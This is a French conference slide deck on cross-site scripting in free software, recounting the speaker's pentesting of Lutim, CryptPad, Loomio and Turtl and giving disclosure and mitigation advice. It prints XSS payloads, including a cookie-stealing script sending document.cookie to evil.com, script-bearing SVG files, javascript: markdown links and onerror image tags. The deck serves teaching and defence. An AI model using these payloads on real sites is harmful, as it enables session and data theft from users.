XSS et Logiciel libre

martin - Framasoft

Capitole du Libre - Toulouse

18/11/17

Houston, on a un problème

Sommaire


I - Qu'est-ce qu'une faille XSS ?

II - Mon retour d'expérience

III - Que peut-on faire ?

Introduction

Martin

Coprésident de Framasoft

Data Scientist en Freelance

Cherche un doctorat en Sécurité du Machine Learning

Ex-Mozilla Fellow chez Derechos Digitales (Chili)

 

framartin@framasoft.org

@framart1

I - LES FAILLES XSS

DEFINITION

  • Cross-Site Scripting (XSS)
  • Injection de HTML/JavaScript dans une page web
  • Impact : applications Web et sites Web
  • Différents types
  • Sans alert(), pas de XSS ;)

Pourquoi est-ce une vulnérabilité ?

  • Vol de session (cookie)



     
  • Vol de données
  • Phishing
    Ex : Faux formulaire de login
  • Élévation verticale/horizontale de privilèges
  • Distribution de malwares
  • Etc.

    La limite est votre créativité :)
<iframe width='0' height='0' frameborder='0' 
    src='<script>document.location='
    http://evil.com/collect_cookie.php?cookie=
    '+escape(document.cookie);</script>' />

Quelques idées....

Implications

  • Souvent pas considérée comme une faille critique

    Mais... 
  • Failles faciles à exploiter
  • (Certaines) faciles à trouver
  • Implication en terme de Droits de
    l'Homme si failles exploitées contre activistes
  • Peu baisser le coût de la surveillance offensive

 

Attention à ne pas minimiser l'impact

S'en protéger ?

  • Échapper certains caractères (côté serveur ou client)
    Exemple :
     
  • HTML Sanitization
    Liste noire d'éléments HTML

    Ne PAS faire soit même ! Utilisez des bibliothèques.
    Les navigateurs sont beaucoup trop tolérants.


    https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
  • Entêtes Content-Security Policy
    Attention ! C'est un mécanisme de prévention additionnel.
    Ce ne doit pas être votre protection principale.
<i>coucou</i>
&lt;i&gt;coucou&lt;/i&gt;
<script>alert(h4ck3d)</script>
 
<<SCRIPT>alert("XSS")<</SCRIPT>
<IMG src=x onerror="javascript:alert('XSS')"

En résumé...

II - Mon expérience

présentation

  • Intérêt pour la sécurité
                            +
  • Chômage
                            =  
  • Première expérience de pentesting

     
  • Vingtaine XSS en ~1 mois
  • Pentester les applications que l'on
    héberge à Framasoft (entre autres)

En résumé

A - LUTIM

Application web d'hébergement d'images
chiffrées côté serveur.

 

framapic.org

 

  • Vol de données
  • Le chiffrement n'est pas une solution magique
  • Clés de chiffrement dans l'URL
  • LocalStorage stocke URL des images uplodées

 

 

Comment ?

  1. Création d'un fichier SVG contenant du Javascript
  2. Upload sur Lutim
  3. Envoyer le lien à la cible
  4. Le JS est exécuté lors de l'affichage dans le navigateur
    Il a accès au LocalStorage
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert('This app is probably vulnerable to XSS attacks!');
  </script>
</svg>

Autres formats qui peuvent contenir du JS

  • (x)htm(l)
  • xml
  • svg(z)
  • (pdf ?)

Fixer

  • Désactiver upload de ces Mime-Type
  • Forcer téléchargement (recommandé)
    via 'Content-Disposition: attachment'
  • Filtrer les fichiers (mauvaise idée !)
    Cf : Vuln de MediaWiki https://phabricator.wikimedia.org/T85850
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<use xlink:href="data:application/xml;base64 ,
PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4KPGRlZnM+CjxjaXJjbGUgaWQ9InRlc3QiIHI9IjUwIiBjeD0iMTAwIiBjeT0iMTAwIiBzdHlsZT0iZmlsbDogI0YwMCI+CjxzZXQgYXR0cmlidXRlTmFtZT0iZmlsbCIgYXR0cmlidXRlVHlwZT0iQ1NTIiBvbmJlZ2luPSdhbGVydChkb2N1bWVudC5jb29r
aWUpJwpvbmVuZD0nYWxlcnQoIm9uZW5kIiknIHRvPSIjMDBGIiBiZWdpbj0iMXMiIGR1cj0iNXMiIC
8+CjwvY2lyY2xlPgo8L2RlZnM+Cjx1c2UgeGxpbms6aHJlZj0iI3Rlc3QiLz4KPC9zdmc+#test"/>
</svg>

Logiciels impactés

  • Lutim
  • Loomio
  • Turtl
  • Framaforms
  • Request Tracker
  • Et d'autres...

B - Cryptpad

Éditeur collaboratif en temps réel, zero knowledge

 

  • Vol de données
  • Accès aux clés de chiffrement 
  • Puissance d'une attaque côté client

Différence entre sécurité et chiffrement/0-knowledge

 

(Mais CryptPad est clair sur ce point :
https://blog.cryptpad.fr/2017/03/24/What-is-Zero-Knowledge/ )

COMMENT ?

  1.  Création d'un pad qui contient

     
  2. Partage avec la victime
  3. La victime exporte le pad, le JS s'exécute

 

<img src=x onerror=alert()>

C - Loomio

Application Web de prise de décision.

 

  • Élévation horizontale de privilèges
  • Voter pour un autre utilisateur

 

 

Comment ?

  1. Markdown non assaini
  2. Mauvaise gestion des fichiers uploadés
    par les utilisateurs

 

Démonstrations en vidéo

markdown et XSS

Attention !

  1. Si disponible, utilisez option 'sanitize' de votre bibliotèque et vérifiez ce qu'elle fait
  2. Ou, utilisez une bibliothèque de filtrage HTML 

 

 

 

 

 

https://github.com/showdownjs/showdown/wiki/Markdown%27s-XSS-Vulnerability-(and-how-to-mitigate-it)

https://michelf.ca/blogue/2010/markdown-et-xss/

[URL](javascript:alert(0))
[URL](JaVaScRiPt:alert(0))
[URL](javascript:alert(0&#41;)
[URL](javascript:alert(0\))
[URL](vbscript:alert)
[URL](javascript&colon;alert&#40;1&#41;)
[URL](Javas&#99;ript:alert(0&#41;)

Logiciels impactés par XSS via markdown

  • Loomio
  • Turtl
  • Framaslides
  • Framemo & Scrumblr de Sandstorm
  • Et d'autres...

D - TURTL

Application Web alternative à Evernote chiffrée

« sécurisée » qui peut stocker textes, images, fichiers, URL, mots de passe, etc.

 

3 XSS :

  1. Markdown non assaini
  2. Mauvaise gestion des fichiers uploadés
    par les utilisateurs
  3. Contenu non échappé

3ème Faille : Comment ?

  1. Créer un dossier partagé avec la victime
  2. Créer une note
  3. Avec le titre : 
  4. Dès que la victime se connecte, le JS exécuté

 

Très peu d’interaction de l'utilisateur.

<img src=x onerror=alert(0)>

Très Mauvaise Réaction

Tout ce qu'il ne faut pas faire !

 

  • Failles non-corrigées  8 mois après
    (alors que l'on a envoyé un fix)
  • Failles publiques sur leur Trello avec tout le détail... ><'
  • Leur logiciel est censé être sécurisé
  • Et ce truc gère des mots de passe

Et le reste...

Et encore 10 XSS non corrigées et signalées depuis plus de 7 mois, malgré les relances...

 

:(

Les XSS ont des sources diverses.
Ne pas faire de filtrage à la main.

III - Que faire ?

Problème

  • L'ouverture du code ne répond pas
    miraculeusement aux impératifs de sécurité
  • Manque clair de pentesters, car certaines failles étaient évidentes
  • Le problème est le même pour le logiciel libre et non libre : si personne ne cherche les vulnérabilités, elles ne seront pas fixées

Conseils pour dev/mainteneur

  • Ne pas publier la faille avant fix
  • Moyen de communiquer de manière non publique
  • Indiqué sur /security
  • Répondre assez rapidement (même pour dire « vu »)
  • Communiquer sur vos failles (CVE par exemple)
  • Mettre en place une démo
  • Ne pas être un connard
    Une faille n'est pas une attaque personnelle !

Conseils pour Utilisateurs

  • Contribuez !
    • Quelques connaissances en HTML
    • Essayer d'entrer :

      dans tous les champs de texte
    • Upload d'un fichier (x)htm(l), xml, svg(z)
    • Upload d'un fichier qui s'appelle
       
    • Entrer du markdown
      Cf slide précédant
    • Dans les champs de lien :
       
    • Et cliquez partout !
  • Ne pas être un connard
    Vous n'êtes pas plus malin que les autres !
>'>"><img src=x onerror=alert(0)>
>'>"><img src=x onerror=alert(0)>.png
javascript:alert(0)

Conseils pour Hébergeurs

  • 1 (sous-)domaine par application
  • Mettre à jour
  • Communiquer
  • Surveiller les failles publiées (CVE)

Merci :)

XSS et LL

By framartin

XSS et LL

  • 1,020